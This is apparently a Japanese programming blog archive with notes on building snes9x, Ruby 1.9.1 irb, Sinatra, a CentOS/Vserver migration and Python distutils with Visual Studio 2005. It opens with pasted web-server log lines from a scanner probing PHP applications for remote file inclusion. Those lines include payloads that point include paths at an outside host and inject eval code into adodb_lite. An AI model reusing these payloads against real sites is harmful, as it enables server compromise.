202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-05-17

Visual Studioでのsnes9x-1.5.1のビルドのコツ

・snes9x-1.5.1-srcフォルダを入れるまとめフォルダを作る(ここにzliblibpngとfmodとnasmのフォルダを突っ込むため)。


・zlibソースDLして解凍する。できたフォルダをzlibリネームしてまとめフォルダに突っ込む。zlibフォルダ内のcrc32.cをemucrc32.cにリネームする。


libpngはコンパイル済みバイナリDLして解凍する。できたフォルダlibpngにリネームしてまとめフォルダに突っ込む。ソリューションエクスプローラlibPNGフォルダ内の*.cをプロジェクトから除外する。プロジェクトプロパティで追加の依存ファイル一覧にあるlibpngmt.liblibpng.libリネームする。


・fmodはver.3系(ver.4系でのビルドは未確認)のコンパイル済みバイナリDLして解凍する。できたフォルダの中のフォルダをfmodにリネームしてまとめフォルダに突っ込む。


・nasmはコンパイル済みバイナリDLして解凍する。できたフォルダの中のフォルダをnasmにリネームしてまとめフォルダに突っ込む。nasmはプロジェクト中の*.asmのビルドに必要になる。後の*.asmのビルド設定との整合性のためこの通りに配置すること。


プロジェクトプロパティDirectX SDKのIncludeとLibフォルダパスを通す。


プロジェクトプロパティで、「リンク前のイベント」に次のコマンドを追加する。

pushd "$(SolutionDir)..\"

del "i386\*.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\2xsaimmx.asm" "-oi386\2xsaimmx.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\bilinear.asm" "-oi386\bilinear.obj"

rem "$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\c4.asm" "-oi386\c4.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2.asm" "-oi386\fxemu2.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2b.asm" "-oi386\fxemu2b.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2c.asm" "-oi386\fxemu2c.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxtable.asm" "-oi386\fxtable.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\sfxproc.asm" "-oi386\sfxproc.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\spc.asm" "-oi386\spc.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\zsnes.asm" "-oi386\zsnes.obj"

rem "$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\zsnesc4.asm" "-oi386\zsnesc4.obj"

popd

上記のコマンドに出てくる11個の*.objファイルプロジェクトに追加する。ただしコマンドコメントアウトされている2つ(c4.objとzsnesc4.obj)はビルドから除外しておくこと。


・SARマクロ(sar.h)が原因でコンパイラが死ぬので、このマクロを不使用にするためにport.hの277行のRIGHTSHIFT_IS_SARマクロ定義を未定義にする。


ここまでの手順でビルドが通る。


TODO:

プリプロセッサZSNES_C4を有効にする時の設定

2009-01-31

最新版Ruby-1.9.1を思う存分試してみたい人のためのちょっとしたハック

Ruby-1.9.1リリースおめでとう!

http://www.ruby-lang.org/ja/news/2009/01/30/ruby-1-9-1-released/

まあ、ライブラリがぜんぜん1.9に対応してないから今すぐ1.8から移行するなんてことはできないんだけど、こうやって安定版を出せばライブラリの移行を促せるんだから、ちょうど鶏が先か卵が先かみたいなもんで、リリースすることに意味があるんだよね。

ところで、Ruby といえば、そのままコマンドラインruby を使っている人はあんまりいなくて、普通irb を使うよね。でも、単に ruby自分のホームディレクトリmake しただけだと、当然、irb は使えないんだ。でもこれだけためにインストールするのは嫌。そこでどうするか?

実は最近rubyMakefile には作ったばっかりの rubyライブラリパス込みで動作させるコードが入ってる。これを使って irb を動かしてみるというのが今回のハックのネタというわけ。

masuda@localhost:~/ruby-1.9.1-p0 $ makerubymake はすべて終了したとする)

masuda@localhost:~/ruby-1.9.1-p0 $ cat &gt; test.rb
require 'irb'
require 'irb/completion'
IRB.start
^D
(^D はCtrl-dで入力終了のこと。普通は表示されない)

masuda@localhost:~/ruby-1.9.1-p0 $ make runruby
./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb  ./runruby.rb --extout=.ext  -- ./test.rb
irb(main):001:0&gt; puts "Have a fun!"

これで適切なライブラリパスが指定されて、その場で最新の ruby が使い放題だ。Readlineを使ってるから編集も楽だし、マジおすすめ

というわけで、Ruby開発者さんたちに感謝しつつ、Enjoy Hacking! ピース

2008-11-23

[][][]

Sinatra

gem install sinatra

sudo gem install sinatra

http://localhost:4567/

Lightweight Webservices with Sinatra and RestClient - SlideShare

Slide 17:

A commitment to small

Rails 87,990

Merb-core 12,417

Ramaze 11,796

Camping 1,704

Sinatra 1,576

lib/sinatra.rb at master from bmizerany's sinatra — GitHub

sinatra.rb

1471 lines (1282 sloc) 45.402 kb

2008-11-01

http://anond.hatelabo.jp/20081101031348

Could not load class (App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS) because : Can't locate XML/LibXML.pm in @INC (@INC contains: /home/pc/mobirc/lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

どっか変なところある?

真っ当なエラーメッセージだと思うけど。

http://anond.hatelabo.jp/20081101031143

pc@ubuntu-vm:~$ mobirc/mobirc

Could not load class (App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS) because : Can't locate XML/LibXML.pm in @INC (@INC contains: /home/pc/mobirc/lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

BEGIN failed--compilation aborted at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

Compilation failed in require at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 151.

at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 133

Class::MOP::load_first_existing_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 157

Class::MOP::load_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/share/perl/5.8.8/MooseX/Plaggerize.pm line 20

App::Mobirc::load_plugin('App::Mobirc=HASH(0x8d7e490)', 'HASH(0x8d7536c)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 44

App::Mobirc::_load_plugins('App::Mobirc=HASH(0x8d7e490)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 35

Class::MOP::Class:::around('CODE(0x8ab5250)', 'App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 129

Class::MOP::Method::Wrapped::__ANON__('App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 89

App::Mobirc::new('App::Mobirc', '/home/pc/mobirc/config.yaml') called at mobirc/mobirc line 36

pc@ubuntu-vm:~$ sudo mobirc/mobirc

Could not load class (App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS) because : Can't locate XML/LibXML.pm in @INC (@INC contains: /home/pc/mobirc/lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

BEGIN failed--compilation aborted at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

Compilation failed in require at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 151.

at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 133

Class::MOP::load_first_existing_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 157

Class::MOP::load_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/share/perl/5.8.8/MooseX/Plaggerize.pm line 20

App::Mobirc::load_plugin('App::Mobirc=HASH(0x8d799e0)', 'HASH(0x8d7089c)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 44

App::Mobirc::_load_plugins('App::Mobirc=HASH(0x8d799e0)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 35

Class::MOP::Class:::around('CODE(0x8ab4390)', 'App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 129

Class::MOP::Method::Wrapped::__ANON__('App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 89

App::Mobirc::new('App::Mobirc', '/home/pc/mobirc/config.yaml') called at mobirc/mobirc line 36

イミフ

2008-04-05

さくらの旧(?)専用サーバ CentOS 4.6 を Linux-Vserver に入れ替えてみた

前置き

契約直後の初期状態

  • ホスト名をsakura2とした。
  • sshd と vsftpd が動いていた。
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.9-67.0.4.ELsmp #1 SMP Sun Feb 3 07:08:57 EST 2008 i686 athlon i386 GNU/Linux
[admin@sakura2 ~]$ cat /etc/issue.net
CentOS release 4.6 (Final)
Kernel \r on an \m

CentOS 5 へのアップグレード(?)

中身の整理
  • なるべく最小構成に近い最新のCentOS4.6にしてみる。
# yum update
# yum remove emacs emacspeak emacs-leim emacs-common
# yum remove NetworkManager
# yum remove bluez-bluefw bluez-hcidump bluez-libs bluez-utils
# yum remove cups cups-libs
# yum remove irda-utils isdn4k-utils pcmcia-cs wireless-tools
# yum remove wpa_supplicant gpm xinetd
# yum remove ppp nfs-utils lksctp-tools autofs
# yum remove xorg-x11-libs
# yum remove selinux-policy-targeted
# yum remove vsftpd
# yum clean all
CentOS 5 にアップグレード(?)してみる
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.9-67.0.7.ELsmp #1 SMP Sat Mar 15 06:54:55 EDT 2008 i686 athlon i386 GNU/Linux
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-notes-5.1.0-2.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-5-1.0.el5.centos.1.i386.rpm
[root@sakura2 admin]# cat /etc/issue.net
CentOS release 5 (Final)
Kernel \r on an \m

# yum update glib procps udev iptables
# rpm -Uvh --nodeps http://mirror.centos.org/centos/5/os/i386/CentOS/initscripts-8.45.17.EL-1.el5.centos.1.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/mkinitrd-5.1.19.6-19.i386.rpm
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-1.39-10.el5.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-libs-1.39-10.el5.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-devel-1.39-10.el5.i386.rpm
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/kernel-2.6.18-53.el5.i686.rpm
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST 2007 i686 athlon i386 GNU/Linux

# yum clean all

[root@sakura2 admin]# yum --version
Loading "fastestmirror" plugin
2.4.3
[root@sakura2 admin]# rpm --version
RPM version 4.3.3
# yum update
Error: Missing Dependency: python-abi = 2.3 is needed by package python-elementtree
  • 解決法がわからないので放置

Linux-Vserver の導入

# vi /etc/ssh/sshd_config
# /etc/init.d/sshd restart
# vi /etc/yum.repos.d/dhozac-vserver.repo
# yum update kernel
# yum install util-vserver{,-core,-lib,-sysv,-build}
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.22.19-vs2.3.0.34.1 #1 SMP Mon Mar 17 05:32:04 EDT 2008 i686 athlon i386 GNU/Linux

ホストOS環境の整備

# yum update bash screen rsync
# /etc/init.d/iptables save
# /etc/init.d/iptables start
# cat /etc/sysconfig/iptables

# Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008
**filter
:INPUT ACCEPT [1067:96557]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [63680:6208436]
:e0 - [0:0]
-A INPUT -i eth0 -j e0
-A e0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A e0 -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A e0 -p tcp -m tcp --dport 22 -j ACCEPT
-A e0 -p tcp -m tcp --dport 80 -j ACCEPT
-A e0 -p tcp -m tcp --dport 443 -j ACCEPT
-A e0 -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Mon Mar 24 19:57:07 2008
# Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008
**nat
:PREROUTING ACCEPT [179:10642]
:POSTROUTING ACCEPT [213:13895]
:OUTPUT ACCEPT [251:16220]
-A PREROUTING -s ! 10.0.0.0/255.255.255.0 -p tcp -m tcp --dport NNNN -j DNAT --to-destination 10.0.0.1:22
-A POSTROUTING -s 10.0.0.0/255.255.255.0 -d ! 10.0.0.0/255.255.255.0 -j SNAT --to-source AAA.BBB.CCC.DDD
COMMIT
# Completed on Mon Mar 24 19:57:07 2008

ゲストOSの設定

[root@sakura2 ~]# /usr/sbin/vserver-stat
CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
40013   27 301.5M  73.8M  30m36s31  56m38s90  11d06h56 one
40015    5  10.8M   4.4M   0m28s33   0m12s68   9d04h23 two
40016    2   4.2M   1.3M   0m00s47   0m00s64   0m01s97 three

追記

2008-03-21

[]Python 2.5のdistutilsで、Visual Studio 2005を使いたい!

目的

Visual Studio 2005しかインストールしてない場合、Python 2.5だとdistutilsが正しく動かないっぽいので、どうにかしたいYO!

なんでVisual Studio 2005だと、distutilsが動かないんかな?

distutilsでVisual Studioを使うときのコンパイル環境は、sysモジュールのversionプロパティを参照して環境を選択をしているようです。Pythonインタプリタを起動して、以下のような命令を実行してみると、sys.versionプロパティが確認できます。

import sys;print sys.version

Python 2.5.2だと、以下のようになっています。Visual Studio 2003の環境が使われるようです。

2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)]

Python 2.6a1だと、以下のようになっています。Visual Studio 2008の環境が使われるようです。

2.6a1 (r26a1:61155, Mar  1 2008, 12:11:56) [MSC v.1500 32 bit (Intel)]

以上から察するに、Python 2.5.2とPython 2.6のどちらでも、Visual Studio 2005の環境が選択されることはないっぽいです。うーん、困った!

解決策

Python 2.6とVisual Studio 2008をインストールしよう!」というのを真っ先に思いつきましたが、あんまり環境を変えたくないんだよなー。というわけで、環境の変更を最低限に抑えてどうにかしてみました。簡単に言うと、distutilsだけの置き換えをしました。

Python 2.6 をインストールする

Python 2.6の公式ダウンロードページから、Windows版のインストーラーをダウンロードして、適当な場所にインストールしてください。

distutilsだけ置き換える

"Python-2.5.2/Lib/distutils"を別の場所に移動し、"Python-2.6a1/Lib/distutils"を"Python-2.5.2/Lib"以下にコピーしてください。以降はPython 2.6は必要ないので、アンインストールして構いません。

ファイルの修正
  • 例外をPython 2.5.2で許されている形式に変更。
  • get_build_version()関数で強制的に8を返すように変更。

上記の2点の変更を行います。distutilsディレクトリに、以下のパッチをあててください。

Index: msvccompiler.py
===================================================================
--- msvccompiler.py
+++ msvccompiler.py
@@ -170,6 +170,7 @@
     if majorVersion == 6:
         minorVersion = 0
     if majorVersion >= 6:
+        return 8
         return majorVersion + minorVersion
     # else we don't know what version of the compiler this is
     return None
Index: msvc9compiler.py
===================================================================
--- msvc9compiler.py
+++ msvc9compiler.py
@@ -128,7 +128,7 @@
                                "sdkinstallrootv2.0")
             else:
                 raise KeyError("sdkinstallrootv2.0")
-        except KeyError as exc: #
+        except KeyError, exc: #
             raise DistutilsPlatformError(
             """Python was built with Visual Studio 2008;
 extensions must be built with a compiler than can generate compatible binaries.
@@ -172,6 +172,7 @@
     if majorVersion == 6:
         minorVersion = 0
     if majorVersion >= 6:
+        return 8
         return majorVersion + minorVersion
     # else we don't know what version of the compiler this is
     return None
@@ -455,7 +456,7 @@
                 try:
                     self.spawn([self.rc] + pp_opts +
                                [output_opt] + [input_opt])
-                except DistutilsExecError as msg:
+                except DistutilsExecError, msg:
                     raise CompileError(msg)
                 continue
             elif ext in self._mc_extensions:
@@ -482,7 +483,7 @@
                     self.spawn([self.rc] +
                                ["/fo" + obj] + [rc_file])
 
-                except DistutilsExecError as msg:
+                except DistutilsExecError, msg:
                     raise CompileError(msg)
                 continue
             else:
@@ -495,7 +496,7 @@
                 self.spawn([self.cc] + compile_opts + pp_opts +
                            [input_opt, output_opt] +
                            extra_postargs)
-            except DistutilsExecError as msg:
+            except DistutilsExecError, msg:
                 raise CompileError(msg)
 
         return objects
@@ -520,7 +521,7 @@
                 pass # XXX what goes here?
             try:
                 self.spawn([self.lib] + lib_args)
-            except DistutilsExecError as msg:
+            except DistutilsExecError, msg:
                 raise LibError(msg)
         else:
             log.debug("skipping %s (up-to-date)", output_filename)
@@ -598,7 +599,7 @@
             self.mkpath(os.path.dirname(output_filename))
             try:
                 self.spawn([self.linker] + ld_args)
-            except DistutilsExecError as msg:
+            except DistutilsExecError, msg:
                 raise LinkError(msg)
 
         else:
manifestファイルを作る

python.exeと同じディレクトリに、以下のXMLを"python.exe.manifest"として保存してください。

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
        type='win32'
        name='Microsoft.VC80.CRT'
        version='8.0.50608.0'
        processorArchitecture='x86'
        publicKeyToken='1fc8b3b9a1e18e3b'
        />
    </dependentAssembly>
  </dependency>
</assembly>

これで終わりです。

2008-03-15

[][]PythonからSWIG経由でVisual Studio 2005を使って困ったこと

以上のような組み合わせで出くわした困ったことと、その解決策をメモしておきます。

setup.py を実行するとエラーが表示された!

Python was built with Visual Studio 2003;

extensions must be built with a compiler than can generate compatible binaries.

Visual Studio 2003 was not found on this system. If you have Cygwin installed,

you can try compiling with MingW32, by passing "-c mingw32" to setup.py.

setup.pyに.iファイルとか.cppファイルを記述して実行すると、こんな感じのエラーメッセージが表示されました。うーん、困った!

http://labs.cybozu.co.jp/blog/mitsunari/2007/08/vc2005boostpython.html

上記のページを参考にして、"%Pythonインストールしたフォルダ%/Lib/distutils/msvcompiler.py"を以下のように修正してみたら解決できました。ありがとうありがとう

--- msvccompiler.py    2007-04-04 17:17:12.000000000 +0900
+++ 
@@ -126,7 +126,7 @@
         self.set_macro("FrameworkDir", net, "installroot")
         try:
             if version > 7.0:
-                self.set_macro("FrameworkSDKDir", net, "sdkinstallrootv1.1")
+                self.set_macro("FrameworkSDKDir", net, "sdkinstallrootv2.0")
             else:
                 self.set_macro("FrameworkSDKDir", net, "sdkinstallroot")
         except KeyError, exc: #
@@ -252,7 +252,10 @@

     def initialize(self):
         self.__paths = []
-        if os.environ.has_key("DISTUTILS_USE_SDK") and os.environ.has_key("MSSdk") and self.find_exe("cl.exe"):
+        if self.__version >= 7.1 or (
+            os.environ.has_key("DISTUTILS_USE_SDK") and
+            os.environ.has_key("MSSdk") and
+            self.find_exe("cl.exe")):
             # Assume that the SDK set up everything alright; don't try to be
             # smarter
             self.cc = "cl.exe"
@@ -288,10 +291,16 @@

         self.preprocess_options = None
         if self.__arch == "Intel":
-            self.compile_options = [ '/nologo', '/Ox', '/MD', '/W3', '/GX' ,
-                                     '/DNDEBUG']
-            self.compile_options_debug = ['/nologo', '/Od', '/MDd', '/W3', '/GX',
-                                          '/Z7', '/D_DEBUG']
+            if self.__version >= 7.1:
+                self.compile_options = [
+                    '/nologo', '/Ox', '/MD',  '/W3', '/EHsc', '/DNDEBUG']
+                self.compile_options_debug = [
+                    '/nologo', '/Od', '/MDd', '/W3', '/EHsc', '/Z7', '/D_DEBUG']
+            else:
+                self.compile_options = [
+                    '/nologo', '/Ox', '/MD',  '/W3', '/GX',  '/DNDEBUG']
+                self.compile_options_debug = [
+                    '/nologo', '/Od', '/MDd', '/W3', '/GX', '/Z7', '/D_DEBUG']
         else:
             # Win64

cl.exeが見つからないと言われた!

setup.pyを実行するとcl.exeが見つからないみたいなエラーが表示されました。これは、アレだ。「パス通せ!」ということですね。bashを起動するときのバッチファイル(たぶん"cygwin.bat"とか)で、以下のような行を入れてやれば解決しました。

call "%VS80COMNTOOLS%vsvars32.bat"

setup.pyを実行したときに"basetsd.h"が開けないと言われた!

d:\python25\include\pyconfig.h(189) : fatal error C1083: include ファイルを開けません。'basetsd.h': No such file or directory

error: command 'cl.exe' failed with exit status 2

setup.pyを実行すると、上のようなエラーが表示されました。

http://d.hatena.ne.jp/ousttrue/20070531/1180556273

上記のサイトを見るとインクルードパスが通っていない場所に"basetsd.h"があるのが原因なので、"cygwin.bat"にインクルードパスの設定をしておきました。

call "%VS80COMNTOOLS%vsvars32.bat"
set INCLUDE=C:\Program Files\Microsoft Platform SDK\Include;%INCLUDE%

setup.pyを実行したときのリンク時にエラーが発生した!

link: extra operand `/INCREMENTAL:NO'

詳しくは `link --help' を実行して下さい.

error: command 'link.exe' failed with exit status 1

これは、cygwinのほうのlink.exeが実行されてるのが原因でした。スマートな解決策ではありませんが、cygwinのほうのlink.exeをリネームして解決。パスの設定順序とかでどうにかできるといいんだけど、どうすればいいんかな。

MSVCR80.dllが見つからないと言われた!

MSVCR80.dllが見つからなかったため、このアプリケーションを開始できませんでした。アプリケーションインストールし直すとこの問題は解決される場合があります。

SWIGが生成した.pyファイルをimportしたら、こんな感じのエラーダイアログが表示されたよ。うーん、困った!

http://d.hatena.ne.jp/moriyoshi/20070525

上記のページを参考にして、"%Pythonインストールしたフォルダ%/python.exe.manifest"として以下のようなファイルを新しく作ったら、解決できました。ありがとうありがとう

あとこれ、bashから実行したらエラーダイアログが表示されず、importするモジュールが見つからないみたいなエラーメッセージが出力されるだけだったよ。

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type='win32' name='Microsoft.VC80.CRT' version='8.0.50608.0' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />
    </dependentAssembly>
  </dependency>
</assembly>

2008-02-12

http://anond.hatelabo.jp/20080212130615

てことはもう対策は見えたんじゃない?コンパイルにかかる時間コードの積極的なlib化・dll化にかかる時間を天秤にかけて、どっちがコストが高いかを検討すべきなんじゃないかな。あとは社内政治の問題かと。

ログイン ユーザー登録
ようこそ ゲスト さん